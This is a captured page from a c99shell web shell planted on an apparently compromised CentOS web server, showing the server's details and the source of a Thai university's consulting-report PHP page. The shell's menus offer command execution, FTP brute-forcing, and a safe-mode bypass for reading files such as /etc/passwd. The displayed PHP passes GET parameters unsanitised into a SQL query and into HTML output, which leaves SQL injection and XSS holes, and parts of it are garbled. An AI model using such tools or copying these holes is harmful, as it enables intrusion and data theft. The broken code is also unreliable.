!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/reportEregis111/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reportData.php (6.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta name="viewport" content="width=device-width, initial-scale=1" charset="x-windows-874">
<link rel="stylesheet" href="css/pure-min.css">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
<link rel="stylesheet" href="/resources/demos/style.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Tangerine">
    <style>
      body {
        font-family: 'Prompt', sans-serif;
        font-size: 16px;
      }
    </style>
<nav class="navbar navbar-light bg-primary">
  <a class="navbar-brand" href="#">
    <img src="./img/logo.png" width="40" height="40" alt="">  <font color="#FFFFFF"><b>Consulting system </b></font> 
  </a>
</nav>
<?php
session_start
();
error_reporting(E_ALL);
//include("PFBC/Form.php");

if(isset($_POST["form"])) {
    
Form::isValid($_POST["form"]);
    
header("Location: " $_SERVER["PHP_SELF"]);
    exit();    
}
$version file_get_contents("version");
$dateSet=date("Y")+543;
include_once(
"classes/Crud.php");
$crud = new Crud();
?>
<br>
<h4 align="center"><font color="blue">ข้อมูลการให้คำปรึกษา</font></h4>
<h4 align="center">อาจารย์ :: <?=$_GET['name']?></h4>
<center>
<form class="pure-form" name="dataSend" method="get" id="dataSend">
        <div>
        <label>ปีการศึกษา :</label>
        <select id="state" class="pure-input-1-1" name="yearSearch">
            <option value="<?=$_GET['yearSearch']?>"><?=$_GET['yearSearch']?></option>
            <option value="<?=$dateSet?>"><?=$dateSet?></option>
            <option value="<?=$dateSet-1?>"><?=$dateSet-1?></option>
            <option value="<?=$dateSet-2?>"><?=$dateSet-2?></option>
            <option value="<?=$dateSet-3?>"><?=$dateSet-3?></option>
            <option value="<?=$dateSet-4?>"><?=$dateSet-4?></option>
            <option value="<?=$dateSet-5?>"><?=$dateSet-5?></option>
            <option value="<?=$dateSet-6?>"><?=$dateSet-6?></option>
            <option value="<?=$dateSet-7?>"><?=$dateSet-7?></option>
            <option value="<?=$dateSet-8?>"><?=$dateSet-8?></option>
            <option value="<?=$dateSet-9?>"><?=$dateSet-9?></option>
            <option value="<?=$dateSet-10?>"><?=$dateSet-10?></option>
        </select>
            <label>ภาคการศึกษา :</label>
            <select id="state" class="pure-input-1-1" name="termSearch">
                <?php
                
if($_GET['termSearch']==1){$text="ภาคการศึกษาที่ 1";}
                if(
$_GET['termSearch']==2){$text="ภาคการศึกษาที่ 2";}
                if(
$_GET['termSearch']==3){$text="ภาคการศึกษาฤดูร้อน";}
                
?>
                <option value="<?=$_GET['termSearch']?>"><?=$text?></option>
                <option value="1">ภาคการศึกษาที่ 1</option>
                <option value="2">ภาคการศึกษาที่ 2</option>
                <option value="3">ภาคการศึกษาฤดูร้อน</option>
            </select>
    <button class="pure-button" name="btnSearch">ดูข้อมูล</button>
        </div>
    <input type="hidden" name="name" value="<?=$_GET['name']?>">
    <input type="hidden" name="User" value="<?=$_GET['User']?>">
</form>
    <?php
    
if($_GET['yearSearch']!="" && $_GET['termSearch']!="" ){
        
$no=1;
        
$dataPoints = array();
        
$query "SELECT * FROM consulting WHERE academic_year='$_GET[yearSearch]' AND term='$_GET[termSearch]' AND userID='$_GET[User]'   ORDER BY proDate ASC";
        
$result $crud->getData($query);

        
?>
<table class="pure-table pure-table-bordered">
    <thead>
    <tr>
        <th align="center" valign="middle">ลำดับ</th>
        <th align="center" valign="middle">วันเดือนปี</th>
        <th align="center" valign="middle">ภาคการศึกษา</th>
        <th align="center" valign="middle">ปีการศึกษา</th>
        <th align="center" valign="middle">หัวข้อให้คำปรึกษา</th>
        <th align="center" valign="middle">บันทึกผลการให้คำปรึกษา</th>
        <th align="center" valign="middle">จำนวนชั่วโมง</th>
        <th align="center" valign="middle">Edit</th>
        <th align="center" valign="middle">Del</th>
    </tr>
    </thead>

    <tbody>
    <?php
    
foreach ($result as $key => $res) {
    
?>
        <tr>
        <td align="center" valign="top"><?=$no?></td>
        <td align="center" valign="top"><?=DateThaiTime($res['proDate'])?></td>
        <td align="center" valign="top"><?=$res['term']?></td>
        <td align="center" valign="top"><?=$res['academic_year']?></td>
        <td align="left" valign="top">
            <?php
            
if($res['s9']==1){$t9="การเรียนการปรับตัวในการใช้ชีวิต";}else{$t9="";}
            if(
$res['s10']==1){$t10="การก้าวเข้าสู่วิชาชีพ";}else{$t10="";}
            if(
$res['s11']==1){$t11="การเสริมสร้างทัศนคติทางบวก";}else{$t11="";}
            if(
$res['s1']==1){$t1="การเรียน";}else{$t1="";}
            if(
$res['s2']==1){$t2="สุขภาพ";}else{$t2="";}
            if(
$res['s3']==1){$t3="การเงิน";}else{$t3="";}
            if(
$res['s4']==1){$t4="ความรัก";}else{$t4="";}
            if(
$res['s5']==1){$t5="เพื่อน";}else{$t5="";}
            if(
$res['s6']==1){$t6="กิจกรรมพัฒนานักศึกษาและทำนุบำรุงศิลปะฯ";}else{$t6="";}
            if(
$res['s7']==1){$t7="จิตอาสา";}else{$t7="";}
            if(
$res['s8']==1){$t8="อื่นๆ";}else{$t8="";}

            echo 
$t9."\n";
            echo 
$t10."\n";
            echo 
$t11."\n";
            echo 
$t1."\n";
            echo 
$t2."\n";
            echo 
$t3."\n";
            echo 
$t4."\n";
            echo 
$t5."\n";
            echo 
$t6."\n";
            echo 
$t7."\n";
            echo 
$t8."\n";
            echo 
$res['other']."\n";
            
?>
        </td>
        <td align="left" valign="top"><?=$res['result']?></td>
        <td align="center" valign="middle"><?=$res['amountnj']?></td>
        <td align="center" valign="middle"><a href="editMem.php?name=<?=$_GET['name']?>&&User=<?=$_GET['User']?>&&id=<?=$res['id']?>"><img src="img/M02.png" width="32" height="32"></a></td>
        <td align="center" valign="middle"><a href="delData.php?name=<?=$_GET['name']?>&&User=<?=$_GET['User']?>&&id=<?=$res['id']?>" onClick="return confirm('ท่านต้องการลบข้อมูล')"><img src="img/del.png" width="32" height="28"></a></td>
    </tr>
    <?php
        $no
++;
        
$point = array(
            
"label" => "Time ".$res['round'] , "y" => $res['amountj']
        );
        
array_push($dataPoints$point);
    }
    
?>

    </tbody>
</table>
    <?php
    
}else{
        echo 
"<br>";
        echo 
"<h5><font color='red'></font></h5>";
    }
    
?>
</center>
<div align="center">
<br>
<script>
    window.onload = function () {
        var chart = new CanvasJS.Chart("chartContainer", {
            animationEnabled: true,
            exportEnabled: true,
            theme: "light1", // "light1", "light2", "dark1", "dark2"
            title:{
                text: "กราฟแสดงข้อมูลจำนวนผู้ที่เข้าร่วมกิจกรรมการให้คำปรึกษา"
            },
            axisY: {
                title: "จำนวนคน"
            },
            data: [{
                type: "column", //change type to bar, line, area, pie, etc
                dataPoints: <?php echo json_encode($dataPointsJSON_NUMERIC_CHECK); ?>
            }]
        });
        chart.render();

    }
</script>
<div id="chartContainer" style="height: 45%; width: 90%;" ></div>
<script src="chart/canvasjs.min.js"></script>
<script src="chart/jquery.canvasjs.min.js"></script>
</div>
<?php
function DateThaiTime($strDate)
{
    
$strYear date("Y",strtotime($strDate))+543;
    
$strMonthdate("n",strtotime($strDate));
    
$strDaydate("j",strtotime($strDate));
    
$strHourdate("H",strtotime($strDate));
    
$strMinutedate("i",strtotime($strDate));
    
$strSecondsdate("s",strtotime($strDate));
    
$strMonthCut = Array("","ม.ค.","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.","ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.");
    
$strMonthThai=$strMonthCut[$strMonth];
    return 
"$strDay $strMonthThai $strYear ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.007 ]--